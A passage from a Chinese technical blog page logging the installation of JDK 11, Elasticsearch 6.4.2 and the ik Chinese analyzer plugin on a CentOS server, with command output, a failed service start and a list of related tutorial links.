class="comment">//download.oracle.com/otn-pub/java/jdk/11.0.2+7/f51449fcd52f4d52b93a989c5c56ed3c/jdk-11.0.2_linux-x64_bin.rpm</span></span><br><span class="line">Resolving download.oracle.com (download.oracle.com)... <span class="number">23.56</span><span class="number">.20</span><span class="number">.195</span></span><br><span class="line">Connecting to download.oracle.com (download.oracle.com)|<span class="number">23.56</span><span class="number">.20</span><span class="number">.195</span>|:<span class="number">443.</span>.. connected.</span><br><span class="line">HTTP request sent, awaiting response... <span class="number">302</span> Moved Temporarily</span><br><span class="line">Location: https:<span class="comment">//edelivery.oracle.com/otn-pub/java/jdk/11.0.2+7/f51449fcd52f4d52b93a989c5c56ed3c/jdk-11.0.2_linux-x64_bin.rpm [following]</span></span><br><span class="line">-<span class="number">-2019</span><span class="number">-01</span><span class="number">-16</span> <span class="number">12</span>:<span class="number">42</span>:<span class="number">47</span>--  https:<span class="comment">//edelivery.oracle.com/otn-pub/java/jdk/11.0.2+7/f51449fcd52f4d52b93a989c5c56ed3c/jdk-11.0.2_linux-x64_bin.rpm</span></span><br><span class="line">Resolving edelivery.oracle.com (edelivery.oracle.com)... <span class="number">23.10</span><span class="number">.0</span><span class="number">.83</span>, <span class="number">2600</span>:<span class="number">140</span>e:<span class="number">6</span>:<span class="number">39</span>b::<span class="number">366</span>, <span class="number">2600</span>:<span class="number">140</span>e:<span class="number">6</span>:<span class="number">38</span>b::<span class="number">366</span></span><br><span class="line">Connecting to edelivery.oracle.com (edelivery.oracle.com)|<span class="number">23.10</span><span class="number">.0</span><span class="number">.83</span>|:<span class="number">443.</span>.. connected.</span><br><span class="line">HTTP request sent, awaiting response... <span class="number">302</span> Moved Temporarily</span><br><span class="line">Location: http:<span class="comment">//download.oracle.com/errors/download-fail-1505220.html [following]</span></span><br><span class="line">-<span class="number">-2019</span><span class="number">-01</span><span class="number">-16</span> <span class="number">12</span>:<span class="number">42</span>:<span class="number">48</span>--  http:<span class="comment">//download.oracle.com/errors/download-fail-1505220.html</span></span><br><span class="line">Connecting to download.oracle.com (download.oracle.com)|<span class="number">23.56</span><span class="number">.20</span><span class="number">.195</span>|:<span class="number">80.</span>.. connected.</span><br><span class="line">HTTP request sent, awaiting response... <span class="number">301</span> Moved Permanently</span><br><span class="line">Location: https:<span class="comment">//download.oracle.com/errors/download-fail-1505220.html [following]</span></span><br><span class="line">-<span class="number">-2019</span><span class="number">-01</span><span class="number">-16</span> <span class="number">12</span>:<span class="number">42</span>:<span class="number">48</span>--  https:<span class="comment">//download.oracle.com/errors/download-fail-1505220.html</span></span><br><span class="line">Connecting to download.oracle.com (download.oracle.com)|<span class="number">23.56</span><span class="number">.20</span><span class="number">.195</span>|:<span class="number">443.</span>.. connected.</span><br><span class="line">HTTP request sent, awaiting response... <span class="number">200</span> OK</span><br><span class="line">Length: <span class="number">5307</span> (<span class="number">5.2</span>K) [text/html]</span><br><span class="line">Saving to: ‘jdk<span class="number">-11.0</span><span class="number">.2</span>_linux-x64_bin.rpm’</span><br><span class="line"></span><br><span class="line"><span class="number">100</span>%[===============================================================================================&gt;] <span class="number">5</span>,<span class="number">307</span>       --.-K/s   <span class="keyword">in</span> <span class="number">0</span>s</span><br><span class="line"></span><br><span class="line"><span class="number">2019</span><span class="number">-01</span><span class="number">-16</span> <span class="number">12</span>:<span class="number">42</span>:<span class="number">49</span> (<span class="number">319</span> MB/s) - ‘jdk<span class="number">-11.0</span><span class="number">.2</span>_linux-x64_bin.rpm’ saved [<span class="number">5307</span>/<span class="number">5307</span>]</span><br><span class="line"></span><br><span class="line">[root@VM_0_14_centos ~]# rpm -ivh jdk-11.0.2_linux-x6 4_bin.rpm</span><br><span class="line">error: open <span class="keyword">of</span> &lt;html&gt; failed: No such file or directory</span><br><span class="line">error: open <span class="keyword">of</span> &lt;head&gt; failed: No such file or directory</span><br><span class="line">#rm -rf jdk-11.0.2_linux-x6 4_bin.rpm</span><br><span class="line">#wget --no-cookies --no-check-certificate --header "Cookie: gpw_e24=http:%2F%2Fwww.oracle.com%2F; oraclelicense=accept-securebackup-cookie" "https://download.oracle.com/otn-pub/java/jdk/11.0.2+7/f51449fcd52f4d52b93a989c5c56ed3c/jdk-11.0.2_linux-x6 4_bin.rpm"</span><br><span class="line">[root@VM_0_14_centos ~]#  rpm -ivh jdk-11.0.2_linux-x64_bin.rpm</span><br><span class="line">warning: jdk<span class="number">-11.0</span><span class="number">.2</span>_linux-x64_bin.rpm: Header V3 RSA/SHA256 Signature, key ID ec551f03: NOKEY</span><br><span class="line">Preparing...                          ################################# [100%]</span><br><span class="line">Updating / installing...</span><br><span class="line">   1:jdk-11.0.2-2000:11.0.2-ga        ##########                        ( 31%)</span><br><span class="line">################################# [100%]</span><br><span class="line">[root@VM_0_14_centos ~]# java -h</span><br><span class="line">Usage: java [options] &lt;mainclass&gt; [args...]</span><br><span class="line">           (to execute a <span class="class"><span class="keyword">class</span>)</span></span><br><span class="line">   or  java [options] -jar &lt;jarfile&gt; [args...]</span><br><span class="line">           (to execute a jar file)</span><br><span class="line">   or  java [options] -m &lt;<span class="built_in">module</span>&gt;[<span class="regexp">/&lt;mainclass&gt;] [args...]</span></span><br><span class="line"><span class="regexp">       java [options] --module &lt;module&gt;[/&lt;mainclass&gt;] [args...]</span></span><br><span class="line"><span class="regexp">           (to execute the main class in a module)</span></span><br><span class="line"><span class="regexp">   or  java [options] &lt;sourcefile&gt; [args]</span></span><br><span class="line"><span class="regexp">           (to execute a single source-file program)</span></span><br></pre></td></tr></table></figure></p>
<h3 id="安装es"><a href="#安装es" class="headerlink" title="安装es"></a>安装es</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br></pre></td><td class="code"><pre><span class="line">[root@VM_0_14_centos ~]# rpm --import https://artifacts.elastic.co/GPG-KEY-elasticsearch</span><br><span class="line">[root@VM_0_14_centos ~]# wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-6.4.2.rpm</span><br><span class="line">-<span class="number">-2019</span><span class="number">-01</span><span class="number">-16</span> <span class="number">13</span>:<span class="number">04</span>:<span class="number">37</span>--  https:<span class="comment">//artifacts.elastic.co/downloads/elasticsearch/elasticsearch-6.4.2.rpm</span></span><br><span class="line"></span><br><span class="line">Connecting to artifacts.elastic.co (artifacts.elastic.co)|<span class="number">107.21</span><span class="number">.239</span><span class="number">.197</span>|:<span class="number">443.</span>.. connected.</span><br><span class="line">HTTP request sent, awaiting response... <span class="number">200</span> OK</span><br><span class="line">Length: <span class="number">97875508</span> (<span class="number">93</span>M) [application/octet-stream]</span><br><span class="line">Saving to: ‘elasticsearch<span class="number">-6.4</span><span class="number">.2</span>.rpm’</span><br><span class="line"></span><br><span class="line"><span class="number">83</span>% [==============================================================================&gt;                 ] <span class="number">81</span>,<span class="number">427</span>,<span class="number">954</span>   <span class="number">221</span>KB/s   <span class="keyword">in</span> <span class="number">15</span>m <span class="number">2</span>s</span><br><span class="line"></span><br><span class="line"><span class="number">2019</span><span class="number">-01</span><span class="number">-16</span> <span class="number">13</span>:<span class="number">19</span>:<span class="number">45</span> (<span class="number">88.2</span> KB/s) - Connection closed at byte <span class="number">81427954.</span> Retrying.</span><br><span class="line"></span><br><span class="line">-<span class="number">-2019</span><span class="number">-01</span><span class="number">-16</span> <span class="number">13</span>:<span class="number">19</span>:<span class="number">46</span>--  (<span class="keyword">try</span>: <span class="number">2</span>)  https:<span class="comment">//artifacts.elastic.co/downloads/elasticsearch/elasticsearch-6.4.2.rpm</span></span><br><span class="line">Connecting to artifacts.elastic.co (artifacts.elastic.co)|<span class="number">107.21</span><span class="number">.239</span><span class="number">.197</span>|:<span class="number">443.</span>.. connected.</span><br><span class="line">HTTP request sent, awaiting response... <span class="number">206</span> Partial Content</span><br><span class="line">Length: <span class="number">97875508</span> (<span class="number">93</span>M), <span class="number">16447554</span> (<span class="number">16</span>M) remaining [application/octet-stream]</span><br><span class="line">Saving to: ‘elasticsearch<span class="number">-6.4</span><span class="number">.2</span>.rpm’</span><br><span class="line"></span><br><span class="line"><span class="number">100</span>%[+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++================&gt;] <span class="number">97</span>,<span class="number">875</span>,<span class="number">508</span>  <span class="number">1.66</span>MB/s   <span class="keyword">in</span> <span class="number">14</span>s</span><br><span class="line"></span><br><span class="line"><span class="number">2019</span><span class="number">-01</span><span class="number">-16</span> <span class="number">13</span>:<span class="number">20</span>:<span class="number">02</span> (<span class="number">1.16</span> MB/s) - ‘elasticsearch<span class="number">-6.4</span><span class="number">.2</span>.rpm’ saved [<span class="number">97875508</span>/<span class="number">97875508</span>]</span><br><span class="line">[root@VM_0_14_centos ~]# rpm -ivh elasticsearch-6.4.2.rpm</span><br><span class="line">Preparing...                          ################################# [100%]</span><br><span class="line"></span><br><span class="line">Creating elasticsearch user... OK</span><br><span class="line">Updating / installing...</span><br><span class="line">   1:elasticsearch-0:6.4.2-1          ################################# [100%]</span><br><span class="line">### NOT starting on installation, please execute the following statements to configure elasticsearch service to start automatically using systemd</span><br><span class="line"> sudo systemctl daemon-reload</span><br><span class="line"> sudo systemctl enable elasticsearch.service</span><br><span class="line">### You can start elasticsearch service by executing</span><br><span class="line"> sudo systemctl start elasticsearch.service</span><br><span class="line">Created elasticsearch keystore <span class="keyword">in</span> /etc/elasticsearch</span><br><span class="line">vim /etc/elasticsearch/elasticsearch.yml</span><br><span class="line">bootstrap.memory_lock: <span class="literal">true</span></span><br><span class="line">network.host: localhost</span><br><span class="line">http.port: <span class="number">9200</span></span><br><span class="line">[root@VM_0_14_centos ~]# systemctl daemon-reload</span><br><span class="line">[root@VM_0_14_centos ~]# systemctl enable elasticsearch.service</span><br><span class="line">Created symlink from /etc/systemd/system/multi-user.target.wants/elasticsearch.service to /usr/lib/systemd/system/elasticsearch.service. [root@VM_0_14_centos ~]# systemctl start elasticsearch</span><br><span class="line"></span><br><span class="line">[root@VM_0_14_centos ~]# systemctl status elasticsearch</span><br><span class="line">● elasticsearch.service - Elasticsearch</span><br><span class="line">   Loaded: loaded (<span class="regexp">/usr/</span>lib/systemd/system/elasticsearch.service; enabled; vendor preset: disabled)</span><br><span class="line">   Active: failed (Result: signal) since Wed <span class="number">2019</span><span class="number">-01</span><span class="number">-16</span> <span class="number">20</span>:<span class="number">35</span>:<span class="number">07</span> CST; <span class="number">20</span>min ago</span><br><span class="line">     Docs: http:<span class="comment">//www.elastic.co</span></span><br><span class="line">  Process: <span class="number">31064</span> ExecStart=<span class="regexp">/usr/</span>share/elasticsearch/bin/elasticsearch -p $&#123;PID_DIR&#125;/elasticsearch.pid --quiet (code=killed, signal=KILL)  Main PID: <span class="number">31064</span> (code=killed, signal=KILL)</span><br><span class="line"></span><br><span class="line">Jan <span class="number">16</span> <span class="number">20</span>:<span class="number">34</span>:<span class="number">13</span> VM_0_14_centos systemd[<span class="number">1</span>]: Started Elasticsearch.</span><br><span class="line">Jan <span class="number">16</span> <span class="number">20</span>:<span class="number">34</span>:<span class="number">13</span> VM_0_14_centos systemd[<span class="number">1</span>]: Starting Elasticsearch...</span><br><span class="line">Jan <span class="number">16</span> <span class="number">20</span>:<span class="number">34</span>:<span class="number">18</span> VM_0_14_centos elasticsearch[<span class="number">31064</span>]: Java HotSpot(TM) <span class="number">64</span>-Bit Server VM warning: Option UseConcMarkSweepGC was de...lease.</span><br><span class="line"></span><br><span class="line">Jan <span class="number">16</span> <span class="number">20</span>:<span class="number">35</span>:<span class="number">07</span> VM_0_14_centos systemd[<span class="number">1</span>]: elasticsearch.service: main process exited, code=killed, status=<span class="number">9</span>/KILL</span><br><span class="line">Jan <span class="number">16</span> <span class="number">20</span>:<span class="number">35</span>:<span class="number">07</span> VM_0_14_centos systemd[<span class="number">1</span>]: Unit elasticsearch.service entered failed state.</span><br><span class="line">Jan <span class="number">16</span> <span class="number">20</span>:<span class="number">35</span>:<span class="number">11</span> VM_0_14_centos systemd[<span class="number">1</span>]: elasticsearch.service failed.</span><br><span class="line">Hint: Some lines were ellipsized, use -l to show <span class="keyword">in</span> full.</span><br><span class="line"><span class="comment">//https://learnku.com/laravel/t/25013</span></span><br><span class="line">安装的话可以参考腾讯实验室的功能；挺好用的； https:<span class="comment">//cloud.tencent.com/developer/labs/lab/10433</span></span><br><span class="line">#wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-6.6.1.tar.gz</span><br><span class="line">tar -zxvf elasticsearch<span class="number">-6.6</span><span class="number">.1</span>.tar.gz</span><br><span class="line">cd elasticsearch<span class="number">-6.6</span><span class="number">.1</span></span><br><span class="line">./bin/elasticsearch</span><br><span class="line">curl <span class="string">'http://localhost:9200/?pretty'</span></span><br></pre></td></tr></table></figure>
<h3 id="Elasticsearch-中文分词器-ik-analyzer"><a href="#Elasticsearch-中文分词器-ik-analyzer" class="headerlink" title="Elasticsearch 中文分词器 ik-analyzer"></a>Elasticsearch 中文分词器 ik-analyzer</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">/usr/share/elasticsearch/bin/elasticsearch-plugin install https:<span class="comment">//github.com/medcl/elasticsearch-analysis-ik/releases/download/v6.4.2/elasticsearch-analysis-ik-6.4.2.zip</span></span><br><span class="line">sudo systemctl restart elasticsearch</span><br><span class="line">curl -H <span class="string">'Content-Type: application/json'</span>  -XGET <span class="string">'localhost:9200/_analyze?pretty'</span> -d <span class="string">'&#123;"analyzer":"ik_max_word","text":"ytkah博客园"&#125;'</span></span><br></pre></td></tr></table></figure>
<p><a href="https://learnku.com/laravel/t/25013" target="_blank" rel="noopener">Laravel 项目中使用 Elasticsearch 做引擎</a></p>
<p><a href="https://learnku.com/articles/25066" target="_blank" rel="noopener">Elasticsearch 实现简单搜索</a></p>
<p><a href="https://www.fanhaobai.com/2017/12/elk-install.html" target="_blank" rel="noopener">ELK集中式日志平台之二 — 部署</a></p>
<p><a href="https://demo.elastic.co/app/kibana#/discover?" target="_blank" rel="noopener">elk demo</a></p>
<p><a href="https://blog.csdn.net/tanmx219/article/details/78704544" target="_blank" rel="noopener">ElasticSearch的安装与使用必知问题</a></p>
<p><a href="https://segmentfault.com/a/1190000015189799" target="_blank" rel="noopener">配置Elasticsearch</a></p>
<p><a href="https://laravel-china.org/articles/9410/search-elasticsearch-like-laravel-query" target="_blank" rel="noopener">像使用 Laravel Query 一样的搜索 Elasticsearch</a></p>
<p><a href="https://smirkcat.github.io/2017/03/21/elasticsearch-install/" target="_blank" rel="noopener">elasticsearch-centos7安装教程</a></p>
<p><a href="https://laravel-china.org/articles/19402?#reply78416" target="_blank" rel="noopener">CentOS 7 安装 Elasticsearch 6.4.2 教程</a></p>
<p><a href="https://www.cnblogs.com/luke44/p/elasticsearch-doc.html" target="_blank" rel="noopener">Elasticsearch入门教程之安装与基本使用</a></p>
<p><a href="http://www.ruanyifeng.com/blog/2017/08/elasticsearch.html" target="_blank" rel="noopener"> Elasticsearch 入门教程</a></p>
<p><a href="https://github.com/yanthink/blog-api" target="_blank" rel="noopener">开源的项目有用到 Elasticsearch</a></p>
<p><a href="https://laravel-china.org/topics/2757/5-minutes-to-configure-and-use-elasticsearch" target="_blank" rel="noopener">5 分钟配置并使用 Elasticsearch</a></p>
<p><a href="https://laravel-china.org/articles/10126/the-configuration-and-use-of-elasticsearch-for-full-text-search" target="_blank" rel="noopener">Elasticsearch 的配置与使用，为了全文搜索</a></p>
<p><a href="https://www.einsition.com/article/3/details" target="_blank" rel="noopener">CentOS 7.x 安装 Elasticsearch 6.x</a></p>
<p><a href="https://laravel-china.org/articles/2765/elasticsearch-in-order-to-search" target="_blank" rel="noopener">Elasticsearch，为了搜索</a></p>
<p><a href="https://www.cnblogs.com/luke44/p/elasticsearch-doc.html" target="_blank" rel="noopener">Elasticsearch入门教程之安装与基本使用</a></p>
<p><a href="https://juejin.im/post/5a3730ff6fb9a045076fc2b1" target="_blank" rel="noopener">在Laravel5.5中使用搜索 Elasticsearch</a></p>
<p><a href="https://laravel-china.org/articles/22569" target="_blank" rel="noopener">ELK 搭建笔记</a></p>
<p><a href="https://smirkcat.github.io/2017/03/21/elasticsearch-install/" target="_blank" rel="noopener">elasticsearch-centos7安装教程</a></p>
<p><a href="https://www.fanhaobai.com/2017/08/solr-install-push.html" target="_blank" rel="noopener">Solr的使用 — 部署和数据推送</a></p>
<p><a href="https://mp.weixin.qq.com/s/BE8LrpviJNXGV41bhzGFTw" target="_blank" rel="noopener">一文上手 Elasticsearch常用可视化管理工具</a></p>
<p><a href="https://learnku.com/articles/25179#topnav" target="_blank" rel="noopener">Laravel 下 Elasticsearch 使用</a></p>
<p><a href="https://learnku.com/articles/30389" target="_blank" rel="noopener">CentOS 7.6 安装 Elasticsearch 7.2</a></p>
<p><a href="http://nullpointer.pw/%E5%92%8C%E6%88%91%E4%B8%80%E8%B5%B7%E6%89%93%E9%80%A0%E4%B8%AA%E7%AE%80%E5%8D%95%E6%90%9C%E7%B4%A2%E4%B9%8BElasticSearch%E5%85%A5%E9%97%A8.html" target="_blank" rel="noopener">和我一起打造个简单搜索之ElasticSearch入门</a></p>

          
        
      
    </div>
    
    
    

    

    

    

    <footer class="post-footer">
      

      

      

      
      
        <div class="post-eof"></div>
      
    </footer>
  </div>
  
  
  
  </article>


    
  </section>

  
  <nav class="pagination">
    <a class="extend prev" rel="prev" href="/page/35/"><i class="fa fa-angle-left"></i></a><a class="page-number" href="/">1</a><span class="space">&hellip;</span><a class="page-number" href="/page/35/">35</a><span class="page-number current">36</span><a class="page-number" href="/page/37/">37</a><span class="space">&hellip;</span><a class="page-number" href="/page/39/">39</a><a class="extend next" rel="next" href="/page/37/"><i class="fa fa-angle-right"></i></a>
  </nav>



          </div>
          


          

        </div>
        
          
  
  <div class="sidebar-toggle">
    <div class="sidebar-toggle-line-wrap">
      <span class="sidebar-toggle-line sidebar-toggle-line-first"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-middle"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-last"></span>
    </div>
  </div>

  <aside id="sidebar" class="sidebar">
    
    <div class="sidebar-inner">

      

      

      <section class="site-overview-wrap sidebar-panel sidebar-panel-active">
        <div class="site-overview">
          <div class="site-author motion-element" itemprop="author" itemscope="" itemtype="http://schema.org/Person">
            
              <p class="site-author-name" itemprop="name">苏生不惑</p>
              <p class="site-description motion-element" itemprop="description"></p>
          </div>

          <nav class="site-state motion-element">

            
              <div class="site-state-item site-state-posts">
              
                <a href="/archives/">
              
                  <span class="site-state-item-count">382</span>
                  <span class="site-state-item-name">日志</span>
                </a>
              </div>
            

            

            
              
              
              <div class="site-state-item site-state-tags">
                <a href="/tags/index.html">
                  <span class="site-state-item-count">37</span>
                  <span class="site-state-item-name">标签</span>
                </a>
              </div>
            

          </nav>

          

          
            <div class="links-of-author motion-element">
                
                  <span class="links-of-author-item">
                    <a href="https://github.com/sushengbuhuo" target="_blank" title="GitHub">
                      
                        <i class="fa fa-fw fa-github"></i>GitHub</a>
                  </span>
                
                  <span class="links-of-author-item">
                    <a href="mysusheng@gmail.com" target="_blank" title="E-Mail">
                      
                        <i class="fa fa-fw fa-envelope"></i>E-Mail</a>
                  </span>
                
                  <span class="links-of-author-item">
                    <a href="https://plus.google.com/mysusheng" target="_blank" title="Google">
                      
                        <i class="fa fa-fw fa-google"></i>Google</a>
                  </span>
                
            </div>
          

          
          

          
          
            <div class="links-of-blogroll motion-element links-of-blogroll-block">
              <div class="links-of-blogroll-title">
                <i class="fa  fa-fw fa-link"></i>
                Links
              </div>
              <ul class="links-of-blogroll-list">
                
                  <li class="links-of-blogroll-item">
                    <a href="http://v2ex.com/" title="v2ex" target="_blank">v2ex</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.fanhaobai.com/" title="fanhaobai" target="_blank">fanhaobai</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://yuanxuxu.com/archives/" title="yuanxuxu" target="_blank">yuanxuxu</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.snail-c.cn/article" title="snail-c" target="_blank">snail-c</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://showcj.com/archives" title="showcj" target="_blank">showcj</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://vultr.aicnm.com/%E6%9C%80%E6%96%B0Vultr%E6%B3%A8%E5%86%8C%E5%8F%8AVPS%E8%B4%AD%E4%B9%B0%E5%9B%BE%E6%96%87%E6%95%99%E7%A8%8B/" title="vultr" target="_blank">vultr</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.lucissfer.com/" title="lucissfer" target="_blank">lucissfer</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://blog.csdn.net/fdipzone/article/details/79352685" title="傲雪星枫" target="_blank">傲雪星枫</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.yoby123.cn/index.php/category/default/" title="小白的分享" target="_blank">小白的分享</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.cnblogs.com/52fhy/p/5819995.html" title="PHP攻城狮" target="_blank">PHP攻城狮</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://blog.jiaojie.site/" title="php" target="_blank">php</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://sphard.com/archives/" title="sphard" target="_blank">sphard</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://yuanxuxu.com/archives/" title="LNMP技术栈笔记" target="_blank">LNMP技术栈笔记</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://www.coding10.com/" title="学习 Laravel" target="_blank">学习 Laravel</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://shuwoom.com/?page_id=929" title="区块链学习指南" target="_blank">区块链学习指南</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://greenlightt.github.io/archives/" title="greenlightt" target="_blank">greenlightt</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.0php.net/archives/" title="0php" target="_blank">0php</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://www.fordba.com/category/mysql" title="mysql" target="_blank">mysql</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.itcodemonkey.com/" title="程序员" target="_blank">程序员</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.yanshuo.me/r/v2ex" title="言说" target="_blank">言说</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.timiguo.com/archive.html" title="提米果的博客" target="_blank">提米果的博客</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://phpartisan.cn/news/112.html" title="phpartisan" target="_blank">phpartisan</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.cnblogs.com/52fhy/" title="飞鸿影" target="_blank">飞鸿影</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://www.54php.cn/" title="54php" target="_blank">54php</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.lazyman.vip/" title="营销" target="_blank">营销</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.njphper.com/archives/" title="做人呢最重要的就是开心" target="_blank">做人呢最重要的就是开心</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.h57.pw/" title="php 初心者" target="_blank">php 初心者</a>
                  </li>
                
              </ul>
            </div>
          

          

        </div>
      </section>

      

      

    </div>
  </aside>


        
      </div>
    </main>

    <footer id="footer" class="footer">
      <div class="footer-inner">
        <script async src="https://dn-lbstatics.qbox.me/busuanzi/2.3/busuanzi.pure.mini.js"></script>

<div class="copyright">&copy; <span itemprop="copyrightYear">2021</span>
  <span class="with-love">
    <i class="fa fa-user"></i>
  </span>
  <span class="author" itemprop="copyrightHolder">苏生不惑</span>

  
</div>


  <div class="powered-by">由 <a class="theme-link" target="_blank" href="https://hexo.io">Hexo</a> 强力驱动</div>



  <span class="post-meta-divider">|</span>



  <div class="theme-info">主题 &mdash; <a class="theme-link" target="_blank" href="https://github.com/iissnan/hexo-theme-next">NexT.Gemini</a> v5.1.4</div>



<div>
<span id="showDays"></span>

</div>

<span id="busuanzi_container_site_pv">
   总访问量:<span id="busuanzi_value_site_pv"></span>次
</span>



  <span class="post-meta-divider">|</span>



<div class="theme-info">
  <div class="powered-by"></div>
  <span class="post-count">博客全站共773.8k字</span>
</div>
<script>
var birthDay = new Date("11/20/2018");
var now = new Date();
var duration = now.getTime() - birthDay.getTime();
var total= Math.floor(duration / (1000 * 60 * 60 * 24));
document.getElementById("showDays").innerHTML = "本站已运行 "+total+" 天";
</script>

        
<div class="busuanzi-count">
  <script async src="https://dn-lbstatics.qbox.me/busuanzi/2.3/busuanzi.pure.mini.js"></script>

  
    <span class="site-uv">
      <i class="fa fa-user"></i>
      <span class="busuanzi-value" id="busuanzi_value_site_uv"></span>
      人次
    </span>
  

  
    <span class="site-pv">
      <i class="fa fa-eye"></i>
      <span class="busuanzi-value" id="busuanzi_value_site_pv"></span>
      次
    </span>
  
</div>








        
      </div>
    </footer>

    
      <div class="back-to-top">
        <i class="fa fa-arrow-up"></i>
        
      </div>
    

    

  </div>

  

<script type="text/javascript">
  if (Object.prototype.toString.call(window.Promise) !== '[object Function]') {
    window.Promise = null;
  }
</script>









  


  











  
  
    <script type="text/javascript" src="/lib/jquery/index.js?v=2.1.3"></script>
  

  
  
    <script type="text/javascript" src="/lib/fastclick/lib/fastclick.min.js?v=1.0.6"></script>
  

  
  
    <script type="text/javascript" src="/lib/jquery_lazyload/jquery.lazyload.js?v=1.9.7"></script>
  

  
  
    <script type="text/javascript" src="/lib/velocity/velocity.min.js?v=1.2.1"></script>
  

  
  
    <script type="text/javascript" src="/lib/velocity/velocity.ui.min.js?v=1.2.1"></script>
  

  
  
    <script type="text/javascript" src="/lib/fancybox/source/jquery.fancybox.pack.js?v=2.1.5"></script>
  

  
  
    <script type="text/javascript" src="/lib/canvas-nest/canvas-nest.min.js"></script>
  


  


  <script type="text/javascript" src="/js/src/utils.js?v=5.1.4"></script>

  <script type="text/javascript" src="/js/src/motion.js?v=5.1.4"></script>



  
  


  <script type="text/javascript" src="/js/src/affix.js?v=5.1.4"></script>

  <script type="text/javascript" src="/js/src/schemes/pisces.js?v=5.1.4"></script>



  

  


  <script type="text/javascript" src="/js/src/bootstrap.js?v=5.1.4"></script>



  


  




	





  





  











<script type="text/javascript">
    (function() {
        // 匿名函数，防止污染全局变量
        var utterances = document.createElement('script');
        utterances.type = 'text/javascript';
        utterances.async = true;
        utterances.setAttribute('issue-term','0')
        utterances.setAttribute('theme','')
        utterances.setAttribute('repo','sushengbuhuo/laravel_ioc_demo')
        utterances.crossorigin = 'anonymous';
        utterances.src = 'https://utteranc.es/client.js';
        // content 是要插入评论的地方
        document.getElementById('gitment-container').appendChild(utterances);
    })();
</script>


  

  <script type="text/javascript">
    // Popup Window;
    var isfetched = false;
    var isXml = true;
    // Search DB path;
    var search_path = "search.xml";
    if (search_path.length === 0) {
      search_path = "search.xml";
    } else if (/json$/i.test(search_path)) {
      isXml = false;
    }
    var path = "/" + search_path;
    // monitor main search box;

    var onPopupClose = function (e) {
      $('.popup').hide();
      $('#local-search-input').val('');
      $('.search-result-list').remove();
      $('#no-result').remove();
      $(".local-search-pop-overlay").remove();
      $('body').css('overflow', '');
    }

    function proceedsearch() {
      $("body")
        .append('<div class="search-popup-overlay local-search-pop-overlay"></div>')
        .css('overflow', 'hidden');
      $('.search-popup-overlay').click(onPopupClose);
      $('.popup').toggle();
      var $localSearchInput = $('#local-search-input');
      $localSearchInput.attr("autocapitalize", "none");
      $localSearchInput.attr("autocorrect", "off");
      $localSearchInput.focus();
    }

    // search function;
    var searchFunc = function(path, search_id, content_id) {
      'use strict';

      // start loading animation
      $("body")
        .append('<div class="search-popup-overlay local-search-pop-overlay">' +
          '<div id="search-loading-icon">' +
          '<i class="fa fa-spinner fa-pulse fa-5x fa-fw"></i>' +
          '</div>' +
          '</div>')
        .css('overflow', 'hidden');
      $("#search-loading-icon").css('margin', '20% auto 0 auto').css('text-align', 'center');

      $.ajax({
